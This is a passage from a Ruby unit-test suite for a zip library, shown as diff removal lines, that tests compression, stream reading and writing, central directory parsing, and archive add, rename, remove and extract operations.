{ |f| localEntry = ZipEntry.read_local_entry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.read_c_dir_entry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText, @refLines and @decompressor - - TEST_FILE="data/file1.txt" - - def setup - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @refLines = @refText.split($/) - end - - def test_readEverything - assert_equal(@refText, @decompressor.sysread) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.sysread(chunkSize)) - assert_equal(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equal(0, @refText.size) - end - - def test_mixingReadsAndProduceInput - # Just some preconditions to make sure we have enough data for this test - assert(@refText.length > 1000) - assert(@refLines.length > 40) - - - assert_equal(@refText[0...100], @decompressor.sysread(100)) - - assert(! @decompressor.input_finished?) - buf = @decompressor.produce_input - assert_equal(@refText[100...(100+buf.length)], buf) - end -end - -class InflaterTest < Test::Unit::TestCase - include DecompressorTests - - def setup - super - @file = File.new("data/file1.txt.deflatedData", "rb") - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < Test::Unit::TestCase - include DecompressorTests - def setup - super - @file = File.new(TEST_FILE) - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assert_next_entry(filename, zis) - assert_entry(filename, zis, zis.get_next_entry.name) - end - - def assert_entry(filename, zis, entryName) - assert_equal(filename, entryName) - assert_entryContentsForStream(filename, zis, entryName) - end - - def assert_entryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if ((expected && actual) && (expected.length > 400 || actual.length > 400)) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |f| f << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equal(expected, actual) - end - end - } - end - - def AssertEntry.assert_contents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (fileContents.length > 400 || aString.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equal(fileContents, aString) - end - end - end - - def assert_stream_contents(zis, testZipFile) - assert(zis != nil) - testZipFile.entry_names.each { - |entryName| - assert_next_entry(entryName, zis) - } - assert_equal(nil, zis.get_next_entry) - end - - def assert_test_zip_contents(testZipFile) - ZipInputStream.open(testZipFile.zip_name) { - |zis| - assert_stream_contents(zis, testZipFile) - } - end - - def assert_entryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.get_input_stream(entryName) - assert_entryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < Test::Unit::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - entry = zis.get_next_entry # longAscii.txt - assert_equal(false, zis.eof?) - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) - assert zis.gets.length > 0 - assert_equal(false, zis.eof?) - entry = zis.get_next_entry # empty.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # empty_chmod640.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # short.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) - assert zis.gets.length > 0 - entry = zis.get_next_entry # longBinary.bin - assert_equal(TestZipFile::TEST_ZIP2.entry_names[4], entry.name) - assert zis.gets.length > 0 - } - end - - def test_rewind - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], e.name) - - # Do a little reading - buf = "" - buf << zis.read(100) - buf << (zis.gets || "") - buf << (zis.gets || "") - assert_equal(false, zis.eof?) - - zis.rewind - - buf2 = "" - buf2 << zis.read(100) - buf2 << (zis.gets || "") - buf2 << (zis.gets || "") - - assert_equal(buf, buf2) - - zis.rewind - assert_equal(false, zis.eof?) - - assert_entry(e.name, zis, e.name) - } - end - - def test_mix_read_and_gets - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal("#!/usr/bin/env ruby", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("$VERBOSE =", zis.read(10)) - assert_equal(false, zis.eof?) - } - end - -end - - -module CrcTest - - class TestOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def run_crc_test(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equal(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < Test::Unit::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equal(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equal(compressor.size, t1.size) - - compressor << t2 - assert_equal(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equal(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - run_crc_test(PassThruCompressor) - end -end - -class DeflaterTest < Test::Unit::TestCase - include CrcTest - - def test_outputOperator - txt = load_file("data/file2.txt") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equal(txt, inflatedTxt) - end - - private - def load_file(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equal(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.sysread - } - end - - def test_crc - run_crc_test(Deflater) - end -end - -class ZipOutputStreamTest < Test::Unit::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zip_name) - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - zos.close - assert_test_zip_contents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zip_name) { - |zos| - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - } - assert_test_zip_contents(TEST_ZIP) - end - - def test_writingToClosedStream - assert_i_o_error_in_closed_stream { |zos| zos << "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}") - end - end - - def test_put_next_entry - stored_text = "hello world in stored text" - entry_name = "file1" - comment = "my comment" - ZipOutputStream.open(TEST_ZIP.zip_name) do - |zos| - zos.put_next_entry(entry_name, comment, nil, ZipEntry::STORED) - zos << stored_text - end - - fdata = File.read(TEST_ZIP.zip_name) - if fdata.respond_to? :force_encoding - fdata.force_encoding("binary") - end - assert(fdata.split("\n").grep(stored_text)) - ZipFile.open(TEST_ZIP.zip_name) do - |zf| - assert_equal(stored_text, zf.read(entry_name)) - end - end - - def assert_i_o_error_in_closed_stream - assert_raise(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def write_test_zip(zos) - TEST_ZIP.entry_names.each { - |entryName| - zos.put_next_entry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compare_enumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, i| - return false unless yield(element, otherAsArray[i]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open("data/testDirectory.bin", "rb") { - |file| - entry = ZipEntry.read_c_dir_entry(file) - - assert_equal("longAscii.txt", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(106490, entry.size) - assert_equal(3784, entry.compressed_size) - assert_equal(0xfcd1799c, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("empty.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(0, entry.size) - assert_equal(0, entry.compressed_size) - assert_equal(0x0, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("short.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(6, entry.size) - assert_equal(6, entry.compressed_size) - assert_equal(0xbb76fe69, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("longBinary.bin", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(1000024, entry.size) - assert_equal(70847, entry.compressed_size) - assert_equal(0x10da7d59, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.read_c_dir_entry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - - -class ZipEntrySetTest < Test::Unit::TestCase - ZIP_ENTRIES = [ - ZipEntry.new("zipfile.zip", "name1", "comment1"), - ZipEntry.new("zipfile.zip", "name2", "comment1"), - ZipEntry.new("zipfile.zip", "name3", "comment1"), - ZipEntry.new("zipfile.zip", "name4", "comment1"), - ZipEntry.new("zipfile.zip", "name5", "comment1"), - ZipEntry.new("zipfile.zip", "name6", "comment1") - ] - - def setup - @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES) - end - - def test_include - assert(@zipEntrySet.include?(ZIP_ENTRIES.first)) - assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment"))) - end - - def test_size - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.length) - @zipEntrySet << ZipEntry.new("a", "b", "c") - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.length) - end - - def test_add - zes = ZipEntrySet.new - entry1 = ZipEntry.new("zf.zip", "name1") - entry2 = ZipEntry.new("zf.zip", "name2") - zes << entry1 - assert(zes.include?(entry1)) - zes.push(entry2) - assert(zes.include?(entry2)) - end - - def test_delete - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.first, entry) - - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_nil(entry) - end - - def test_each - # Tested indirectly via each_with_index - count = 0 - @zipEntrySet.each_with_index { - |entry, index| - assert(ZIP_ENTRIES.include?(entry)) - count = count.succ - } - assert_equal(ZIP_ENTRIES.size, count) - end - - def test_entries - assert_equal(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) - end - - def test_compound - newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - @zipEntrySet << newEntry - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.size) - assert(@zipEntrySet.include?(newEntry)) - - @zipEntrySet.delete(newEntry) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - end - - def test_dup - copy = @zipEntrySet.dup - assert_equal(@zipEntrySet, copy) - - # demonstrate that this is a deep copy - copy.entries[0].name = "a totally different name" - assert(@zipEntrySet != copy) - end - - def test_parent - entries = [ - ZipEntry.new("zf.zip", "a"), - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b"), - ZipEntry.new("zf.zip", "a/b/"), - ZipEntry.new("zf.zip", "a/b/c"), - ZipEntry.new("zf.zip", "a/b/c/") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(nil, entrySet.parent(entries[0])) - assert_equal(nil, entrySet.parent(entries[1])) - assert_equal(entries[1], entrySet.parent(entries[2])) - assert_equal(entries[1], entrySet.parent(entries[3])) - assert_equal(entries[3], entrySet.parent(entries[4])) - assert_equal(entries[3], entrySet.parent(entries[5])) - end - - def test_glob - res = @zipEntrySet.glob('name[2-4]') - assert_equal(3, res.size) - assert_equal(ZIP_ENTRIES[1,3], res) - end - - def test_glob2 - entries = [ - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b/b1"), - ZipEntry.new("zf.zip", "a/b/c/"), - ZipEntry.new("zf.zip", "a/b/c/c1") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(entries[0,1], entrySet.glob("*")) -# assert_equal(entries[FIXME], entrySet.glob("**")) -# res = entrySet.glob('a*') -# assert_equal(entries.size, res.size) -# assert_equal(entrySet.map { |e| e.name }, res.map { |e| e.name }) - end -end - - -class ZipCentralDirectoryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { - |zipFile| - cdir = ZipCentralDirectory.read_from_stream(zipFile) - assert_equal(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) - cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { - |cdirEntry, testEntryName| - assert(cdirEntry.name == testEntryName) - } - assert_equal(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("data/file2.txt", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.read_from_stream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.read_from_stream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_write_to_stream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } - - assert_equal(cdir.entries.sort, cdirReadback.entries.sort) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equal(cdir1, cdir1) - assert_equal(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < Test::Unit::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name) - @testEntryNameIndex=0 - end - - def test_entries - assert_equal(TestZipFile::TEST_ZIP2.entry_names.sort, - @zipFile.entries.entries.sort.map {|e| e.name} ) - end - - def test_each - count = 0 - visited = {} - @zipFile.each { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_foreach - count = 0 - visited = {} - ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_stream - count = 0 - visited = {} - @zipFile.each { - |entry| - assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_streamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.get_input_stream(fileAndEntryName) { - |zis| - assert_entryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -module CommonZipFileFixture - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "5entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - end -end - -class ZipFileTest < Test::Unit::TestCase - include CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" } - zf.mkdir("dir1") - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal(comment, zfRead.comment) - assert_equal(2, zfRead.entries.length) - end - - def test_get_output_stream - entryCount = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - entryCount = zf.size - zf.get_output_stream('newEntry.txt') { - |os| - os.write "Putting stuff in newEntry.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - - zf.get_output_stream(zf.get_entry('data/generated/empty.txt')) { - |os| - os.write "Putting stuff in data/generated/empty.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - - zf.get_output_stream('entry.bin') { - |os| - os.write(File.open('data/generated/5entry.zip', 'rb').read) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(entryCount+2, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - assert_equal(File.open('data/generated/5entry.zip', 'rb').read, zf.read("entry.bin")) - } - end - - def test_add - srcFile = "data/file2.txt" - entryName = "newEntryName.rb" - assert(File.exists?(srcFile)) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal("", zfRead.comment) - assert_equal(1, zfRead.entries.length) - assert_equal(entryName, zfRead.entries.first.name) - AssertEntry.assert_contents(srcFile, - zfRead.get_input_stream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(zf.entries.first.name, "data/file2.txt") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "data/file2.txt") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_contains(zf, replacedEntry, "data/file2.txt") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.is_directory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entry_names - - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entry_names - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRename)) - - contents = zf.read(entryToRename) - newName = "changed entry name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include?(newName)) - - assert_equal(contents, zf.read(newName)) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.map { |e| e.name }.include?(newName)) - assert_equal(contents, zf.read(newName)) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - gotCalled = false - renamedEntryName = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - renamedEntryName = zf.entries[0].name - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_if { |e| e.name == renamedEntryName } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, - zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - target_entry = "target_entryName" - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(! zf.entries.include?(nonEntry)) - assert_raise(Errno::ENOENT) { - zf.rename(nonEntry, target_entry) - } - zf.commit - assert(! zf.entries.include?(target_entry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entry_names - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - entryToReplace = TEST_ZIP.entry_names[2] - newEntrySrcFilename = "data/file2.txt" - zf = ZipFile.new(TEST_ZIP.zip_name) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - zfRead = ZipFile.new(TEST_ZIP.zip_name) - AssertEntry::assert_contents(newEntrySrcFilename, - zfRead.get_input_stream(entryToReplace) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[0], - zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[1], - zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[3], - zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_raise(Errno::ENOENT) { - zf.replace(entryToReplace, "data/file2.txt") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zip_name) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - FileUtils.cp(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zip_name) - zf.add("okToDelete.txt", "okToDelete.txt") - assert_contains(zf, "okToDelete.txt") - zf.commit - File.rename("okToDelete.txt", "okToDeleteMoved.txt") - assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zip_name) -# zf.close -# assert_raise(IOError) { -# zf.extract(TEST_ZIP.entry_names.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assert_contains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - - assert_contains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assert_not_contains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assert_contains(zfRead, filename) - } - assert_not_contains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assert_not_contains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - assert_equal(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) - assert_contains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assert_contains(zf, filename) - } - - assert_contains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assert_contains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assert_entryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assert_not_contains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < Test::Unit::TestCase - include CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - 